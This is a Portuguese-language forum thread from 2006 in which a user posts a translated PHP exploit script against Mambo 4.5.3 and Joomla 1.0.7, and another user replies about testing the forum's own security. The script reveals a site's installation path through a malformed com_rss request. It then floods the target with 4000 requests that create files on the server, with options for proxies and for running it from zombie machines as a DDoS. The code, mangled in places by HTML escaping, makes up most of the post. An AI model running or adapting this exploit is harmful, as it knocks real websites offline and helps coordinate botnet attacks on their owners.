Exploit Mambo 4.5.3 / Joomla 1.0.7

Started by HadeS, 04 de June , 2006, 11:55:03 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

HadeS

Exploit codado em PHP por trueend5, editado e traduzido por HadeS.

Ele causa um DoS no Mambo <= 4.5.3 e no Joomla 1.0.7

Segue o código do Exploit:
<?php 
#             Mambo/Joomla Path Disclosure & Remote DOS Exploit                #
 #                               by trueend5                                                                #
  #                      Tradução e Edição by HadeS                                            #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout"5);
ob_implicit_flush (1);

echo
'<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Mambo/Joomla Remote DOS Exploit - HadeS</title>
</head>

<body bgcolor="black" text="silver" link="blue" alink="blue" vlink="blue">

<p align="center"><font size="4">Mambo & Joomla&#58; Exploit Remoto de DoS</font></p>
<p align="center"><font size="3">Codado por trueend5, editado por HadeS &#58; <font color="red">The Lord Of Underworld</font></p>
<font SIZE="3">
<p align="center"><b>&#58;&#58;</b><a href="http&#58;//www&#46;darkers&#46;com&#46;br/">Security Darkers</a></p>
<p align="center"> </p>
</font>
<table width="90%">
  <tbody>
    <tr>
      <td width="43%" align="left">
        <form name="form1" action="'
&#46;$SERVER[PHP_SELF&#93;&#46;'" method="post">
          
<p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</fontHostName (Exemplo&#58; www&#46;sitequalquer&#46;com&#46;br)</span></p>
          
<p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</fontDiretório (Exemplo&#58;
          
"/mambo/""/site/""/portal/"ou somente "/" )</span></p>
          <
p><input name="pref" size="20"> <span class="Stile5">Prefixo (O padrão é&#58; 
"kap")</span></p>
          <
p> Use quando desejar rodar esse script para um DDoS</p>
<p>  Para fazer isso basta escolher um novo "Prefixo" e rodar o exploit do seu sistemas,</p>
<p>  de sistemas remotos ou máquinas zumbis&#46;</p>
          
<p><input name="port" size="20"><span class="Stile5"Especifique uma Porta 
          
(Padrão é 80)</span></p>
          <
p><input name="proxy" size="20"><span class="Stile5"Envie o exploit por um Proxy (IP&#58;Porta)</span></p>
          
<p align="center"> <span class="Stile5"><font color="#FF0000">  
          * </
font>Campos necessários</span></p>
          <
p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>

          <
p><input type="submit" value="Enviar" name="Submit"></p>
        </
form>
      </
td>
    </
tr>
  </
tbody>
</
table>
</
body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '
<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii&#93;));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>  </td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>"&#46;$headeri[$li+$ki&#93;&#46;"</td>";
}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0"&#46;$datai&#46;"</td>";
    }
    else {
      echo "<td>"&#46;$datai&#46;"</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>"&#46;$headeri[$li&#93;&#46;"</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '
(\b\d{1,3}\&#46;\d{1,3}\&#46;\d{1,3}\&#46;\d{1,3}\&#58;\d{1,5}\b)';

function sendpacketii($packet)
{
  global 
$proxy$host$port$html$proxy_regex;
  if (
$proxy=='') {
    
$ock=fsockopen(gethostbyname($host),$port);
    if (!
$ock) {
      echo 
'Sem respostas de '&#46;htmlentities($host); die;
    
}
  }
  else {
$c preg_match($proxy_regex,$proxy);
    if (!
$c) {
      echo 
'Proxy inválido&#46;';die;
    }
    
$parts=explode('&#58;',$proxy);
    echo 
'Conecatando ao '&#46;$parts[0&#93;&#46;'&#58;'&#46;$parts[1&#93;&#46;' proxy&#46;&#46;&#46;<br>';
    
$ock=fsockopen($parts[0&#93;,$parts[1&#93;);
    
if (!$ock) {
      echo 
'Sem respostas para o proxy remoto&#46;&#46;&#46;';die;
}
  }
  
fputs($ock,$packet);
  if (
$proxy=='') {
    
$html='';
    while (!
feof($ock)) {
      
$html&#46;=fgets($ock);
    
}
  }
  else {
    
$html='';
    while ((!
feof($ock)) or (!eregi(chr(0x0d)&#46;chr(0x0a)&#46;chr(0x0d)&#46;chr(0x0a),$html))) {
      
$html&#46;=fread($ock,1);
    
}
  }
  
fclose($ock);
  
//if ($GLOBALS['view'&#93;==1) {echo nl2br(htmlentities($html));}
}

$host=$_POST[host&#93;;
$path=$_POST[path&#93;;
$port=$_POST[port&#93;;
$pref=$_POST[pref&#93;;

if (($host<>'') and ($path<>'')){
{
  
$port=intval(trim($port));
  
$pref=(trim($pref));
  if (
$port=='') {$port=80;}
  if (
$pref=='') {$pref='kap';}
  if ((
$path[0&#93;<>'/') or ($path[strlen($path)-1&#93;<>'/')) {die('Error&#46;&#46;&#46; check the path!');}
  
if ($proxy=='') {$p=$path;} else {$p='http&#58;//'&#46;$host&#46;'&#58;'&#46;$port&#46;$path;}
  
$host=str_replace("\r\n","",$host);
  
$path=str_replace("\r\n","",$path);
  echo 
' Try to find installaton path &#46;&#46;&#46;';
  
$packet="GET "&#46;$p&#46;"index2&#46;php?option=com_rss&feed=test\/>"&#46;" HTTP/1&#46;1\r\n";
  
$packet&#46;="User-Agent&#58; Shareaza v1&#46;x&#46;x&#46;xx\r\n";
  
$packet&#46;="Host&#58; "&#46;$host&#46;"\r\n";
  
$packet&#46;="Connection&#58; Close\r\n\r\n";
  
show($packet);
  
sendpacketii($packet);
  if (
eregi("fopen",$html)){
  
$arr = array("fopen(","test"); $rep = array("\n\n\n\nThe installation path is&#58;\n","\n\n\n\n");
  
$html str_replace($arr$rep$html);
  echo 
nl2br(htmlentities($html));} else
  {echo 
"Erro&#58; Diretório de instalação inválido&#46;";}
 }
  echo 
"Criando arquivos no servidor remoto&#58; \r\n";
  for (
$n 1$n <= 4000$n++) {
  
$packet="GET "&#46;$p&#46;"index2&#46;php?option=com_rss&feed="&#46;$pref&#46;$n&#46;" HTTP/1&#46;1\r\n";
  
$packet&#46;="User-Agent&#58; Shareaza v1&#46;x&#46;x&#46;xx\r\n";
  
$packet&#46;="Host&#58; "&#46;$host&#46;"\r\n";
  
$packet&#46;="Connection&#58; Close\r\n\r\n";
  
sendpacketii($packet);
  echo 
"$pref$n&#46;xml created|\t";
  }
  echo 
"Script rodado com sucesso!";
}
else
{echo 
"Nota&#58; Se retornar um erro de tempo excedido, rode o exploit com um prefixo diferente&#46;";}

?>

Obs: Me certifiquei que o portal do Security Darkers não estava vulnerável antes de postar o exploit.

HadeS

slul

hahaha eu ia comentar que eu achava jah ter visto esse xpl pois justamente de um tempo pra cá tenho testado constantemente a segurança do darkers e tirei um dia todo soh pra testar xpl's do mambo e jommla aki =)


mas vejo q vc jah se certificou q o darkers n estava bugado =)

 8)